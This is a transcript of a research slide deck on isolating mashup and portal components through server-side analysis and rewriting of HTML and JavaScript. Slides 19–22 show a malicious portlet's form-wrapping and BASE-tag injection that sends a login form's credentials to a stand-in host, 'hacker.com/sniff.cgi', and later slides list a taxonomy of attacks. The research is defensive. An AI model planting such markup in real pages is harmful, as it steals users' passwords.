+ All Categories
Home > Documents > IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and...

IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and...

Date post: 26-Mar-2015
Category:
Upload: alexandra-parrish
View: 214 times
Download: 1 times
Share this document with a friend
Popular Tags:
28
IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner/ IBM T.J. Watson Research Center
Transcript
Page 1: IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner

IBM Research

© 2006 IBM Corporation

Mashup Component Isolation via Server-Side Analysis and Instrumentation

K. Vikram / Cornell University

Michael Steiner/ IBM T.J. Watson Research Center

Page 2: IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner

Research

© 2006 IBM Corporation

Page 3: IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner

Research

© 2006 IBM Corporation

Ways of Interference ..

JavaScript

– DOM objects & events, library and runtime objects, …

HTML

– Split/wrap attack, <BASE>, …

Credentials

– CSRF, …

UI

– Phishing ….

Page 4: IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner

Research

© 2006 IBM Corporation

Needed: Isolation

Isolated & authentifiable component as foundation

– Fine-granular• Same-origin does not really cut it ….

– Isolate & hide• DOM sub tree• JS sub-namespace & browser resources (cookies)

– Limited component-authenticated back-end communication• Data-services only

Component-to-component communication built on top

– Async & restricted type (JSON)

– Information-hiding useful for aspects other than security …

Page 5: IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner

Research

© 2006 IBM Corporation

Our Approach

Mashup Serverc2

c1

U1

Browser

c1

c2

HTTP

Aggregator

Page 6: IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner

Research

© 2006 IBM Corporation

Our Approach

Mashup Server

TaggerStatic

Analyzer

Rewriter

c2

c1

U1

Browser

c1

c2

HTTP

Aggregator

Unmodified

Page 7: IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner

Research

© 2006 IBM Corporation

Close-up on Tagger

Checks syntactic constraints on HTML

Checks well-formedness of Javascript

Wraps up markup within a DIV element, call it root(domain)

Marks component domain boundaries

Page 8: IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner

Research

© 2006 IBM Corporation

Close-up on Analyzer

Models the HTML as Javascript objects

Model host objects and library code as global Javascript objects with their own domain

Uses the IBM CAPA/DOMO framework for static analysis

Produces a call graph, with SSA instructions

Page 9: IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner

Research

© 2006 IBM Corporation

Close-up on Analyzer

Restricting Tree-Walking

Maintaining HTML consistency invariants

Maintaining Integrity of Data/Code

SystemAnalysis

Component 1

Component 2

Component 3

Information Flow Lattice for Integrity

CG: Call GraphPS(x): Points-to Set of xdomain(x): domain in which

x was definedisValidChild(y,x): true iff y is allowed to be a child of x by the HTML DTD

I CG.[y = x.parentNode] PS(y) PS(root(domain(this)).parentNode) =

I CG.[ y := x ] domain(y) domain(x)

I CG.[ x.insertChild(y) ] isValidChild(y,x)

Page 10: IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner

Research

© 2006 IBM Corporation

Close-up on Rewriter

Namespace isolation

– using unique prefixes and rewriting

Statically undecidable steps

– E.g. Tree-walking

Component credentials

– for back-end communication

Rewriting system objects to local images

– document to root(context(this))

Page 11: IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner

Research

© 2006 IBM Corporation

Challenges Restricted Programming Model

– Banned: eval & friends; modification of system objects; flash, java, …

– No ``real’’ limitation in expressitivity …

– … but• standards go in opposite direction? against ``nature’’? While mostly good

convenient programming practice, sometimes very inconvenient! tool/framework support needed!

Tamper-resistance

– Browser evolution, extensions, proxy/server, …Usual arms race?

Performance Considerations

– Analysis of generating code (JSP)

– Certification/proof-carrying codeSafe higher-level programming language, e.g., GWT meets SIF?

Page 12: IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner

Research

© 2006 IBM Corporation

Related Work JavaScript security:

– Anupam et al, UXSEC’98 & USITS’99.

Static analysis/rewriting

– JavaScript: Reis et al, OSDI’06; Yu et al, POPL’07.

– Lots of work for other language & environment (e.g., IRM for Java, Singularity on OS level, …)

Browser modifications

– Jim et al, WWW’07; Erlingsson et al, HotOS’07.

– Vogt et al, NDSS’07.

– Multi-domain Browser-OS: Cox et al, S&P 2006.

Page 13: IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner

IBM Research

© 2006 IBM Corporation

BACKUP

Page 14: IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner

Research

© 2006 IBM Corporation

Outline

Abstract Model

The Browser

– DOM + JavaScript

Classes of Attacks

Solution Scheme

– The Tagger/Analyzer/Rewriter

Conclusions

Page 15: IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner

Research

© 2006 IBM Corporation

More about Portals

P2

P1

Portal Serve

rU1

U2

Browser

P1

P2

Browser

P1

P2

JSR/WSRP

HTTP

Other Serve

rOther page

Page 16: IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner

Research

© 2006 IBM Corporation

Current State of Security

P2

P1

Portal Serve

rU1

U2

Browser

P1

P2

Browser

P1

P2

Other Serve

r

Page 17: IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner

Research

© 2006 IBM Corporation

Current State of Security

P2

P1

Portal Serve

rU1

U2

Browser

P1

P2

Browser

P1

P2

SSL

Authentication

and Roles

Other Serve

r

Same Origin

Page 18: IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner

Research

© 2006 IBM Corporation

Current State of Security

P2

P1

Portal Serve

rU1

U2

Browser

P1

P2

Browser

P1

P2

Other Serve

r

Same Origin

Authentication

and Roles

SSL

Page 19: IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner

Research

© 2006 IBM Corporation

Simple Attacks

<FORM method="post" action=“login-submit.cgi">

<P>Username: <INPUT type="text" name="username" size="20">

<P>Password: <INPUT type="text" name="password" size="20">

<P><INPUT type=“submit” onclick=“check();”><INPUT type="reset">

<SCRIPT>function check() { … } </SCRIPT>

</FORM>

<FORM method="post" action=“http://hacker.com/sniff.cgi”>

<BASE href=“http://hacker.com”>

</FORM>

<SCRIPT>function check() { … } </SCRIPT>

P1

P2

P2

Portal Marku

p

Page 20: IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner

Research

© 2006 IBM Corporation

Simple Attacks

<FORM method="post" action=“login-submit.cgi">

<P>Username: <INPUT type="text" name="username" size="20">

<P>Password: <INPUT type="text" name="password" size="20">

<P><INPUT type=“submit” onclick=“check();”><INPUT type="reset">

<SCRIPT>function check() { … } </SCRIPT>

</FORM>

<FORM method="post" action=“http://hacker.com/sniff.cgi”>

<BASE href=“http://hacker.com”>

</FORM>

<SCRIPT>function check() { … } </SCRIPT>

P1

P2

P2

Portal Marku

p

Page 21: IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner

Research

© 2006 IBM Corporation

<FORM method="post" action=“http://hacker.com/sniff.cgi”>

<BASE href=“http://hacker.com”>

Simple Attacks

<FORM method="post" action=“login-submit.cgi">

<P>Username: <INPUT type="text" name="username" size="20">

<P>Password: <INPUT type="text" name="password" size="20">

<P><INPUT type=“submit” onclick=“check();”><INPUT type="reset">

<SCRIPT>function check() { … } </SCRIPT>

</FORM>

</FORM>

<SCRIPT>function check() { … } </SCRIPT>

P1

P2

P2

Portal Marku

p

Page 22: IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner

Research

© 2006 IBM Corporation

<FORM method="post" action=“login-submit.cgi">

<P>Username: <INPUT type="text" name="username" size="20">

<P>Password: <INPUT type="text" name="password" size="20">

<P><INPUT type=“submit” onclick=“check();”><INPUT type="reset">

<SCRIPT>function check() { … } </SCRIPT>

</FORM>

Simple Attacks

<FORM method="post" action=“http://hacker.com/sniff.cgi”>

<BASE href=“http://hacker.com”>

</FORM>

<SCRIPT>function check() { … } </SCRIPT>

P1

P2

P2

Portal Marku

p

Page 23: IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner

Research

© 2006 IBM Corporation

Our Model

P2

P1

Portal Serve

rU1

Browser

P1

P2

U2

Browser

P1

P2

Page 24: IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner

Research

© 2006 IBM Corporation

Portlet Isolation

P2

P1

Portal Serve

rU1

Browser

P1

P2

IsolationBoundary

Page 25: IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner

Research

© 2006 IBM Corporation

The Ubiquitous Browser

Browser

P1

P2

var counter=2;function sub(fm) { var qstring = document.f.name1.value + " " + document.f.conf1.value + " restaurant "; document.f.q.value = qstring; var then = new Date; alert("You took " + ((then.getTime()-t1)/1000) + " seconds to submit your preferences."); return 1;}

function createLinkElem(target, str) { var moveElem = document.createElement("TD"); moveElem.appendChild(createLink(target, str)); return moveElem;}

function createLink(target,str) { var fnt = document.createElement("FONT"); fnt.setAttribute("size","-1"); fnt.appendChild(document.createTextNode(str)); var lnk = document.createElement("A"); lnk.setAttribute("href","#"); lnk.setAttribute("onclick",target); alert("set" + lnk.onclick);

lnk.appendChild(fnt); return lnk;}

var now=new Date,t1=0;t1=now.getTime();

this.agt = navigator.userAgent.toLowerCase();this.ie = (this.agt.indexOf("msie") != -1);if(this.ie) { document.write("<p>Sorry, we do not support Internet

Explorer"); document.close();} else { document.write("<p>We applaud your taste in browsers!");}

P1

P2

JavaScript• Weakly typed• Prototype based• Dynamically modifiable

Page 26: IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner

Research

© 2006 IBM Corporation

The Ubiquitous Browser

Browser

P1

P2

var counter=2;function sub(fm) { var qstring = document.f.name1.value + " " + document.f.conf1.value + " restaurant "; document.f.q.value = qstring; var then = new Date; alert("You took " + ((then.getTime()-t1)/1000) + " seconds to submit your preferences."); return 1;}

function createLinkElem(target, str) { var moveElem = document.createElement("TD"); moveElem.appendChild(createLink(target, str)); return moveElem;}

DOM Interface

function createLink(target,str) { var fnt = document.createElement("FONT"); fnt.setAttribute("size","-1"); fnt.appendChild(document.createTextNode(str)); var lnk = document.createElement("A"); lnk.setAttribute("href","#"); lnk.setAttribute("onclick",target); alert("set" + lnk.onclick);

lnk.appendChild(fnt); return lnk;}

var now=new Date,t1=0;t1=now.getTime();

this.agt = navigator.userAgent.toLowerCase();this.ie = (this.agt.indexOf("msie") != -1);if(this.ie) { document.write("<p>Sorry, we do not support Internet

Explorer"); document.close();} else { document.write("<p>We applaud your taste in browsers!");}

P1

P1

P2

P2

Createand addnodes

Modifynode/attributes

Restructuredocument

Lookup node/Read information

IsolationDomain

DOM (Document Object Model)

Page 27: IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner

Research

© 2006 IBM Corporation

Taxonomy of Attacks

Underspecified Semantics– FORM Wrapping, BASE, …

Shared Runtime– Language: Prototypes, namespace– Libraries: Math, String, …

Shared DOM Tree– Walk the tree, names, …– Event Space– Access keys, Tab Index

Shared Host– Environment Objects: Navigator, location, window, top, history– Layout Engine: STYLE, Absolute lengths, …– Cookies

Shared Portal Markup Code (HTML + JS)– Utility functions

Page 28: IBM Research © 2006 IBM Corporation Mashup Component Isolation via Server-Side Analysis and Instrumentation K. Vikram / Cornell University Michael Steiner

Research

© 2006 IBM Corporation


Recommended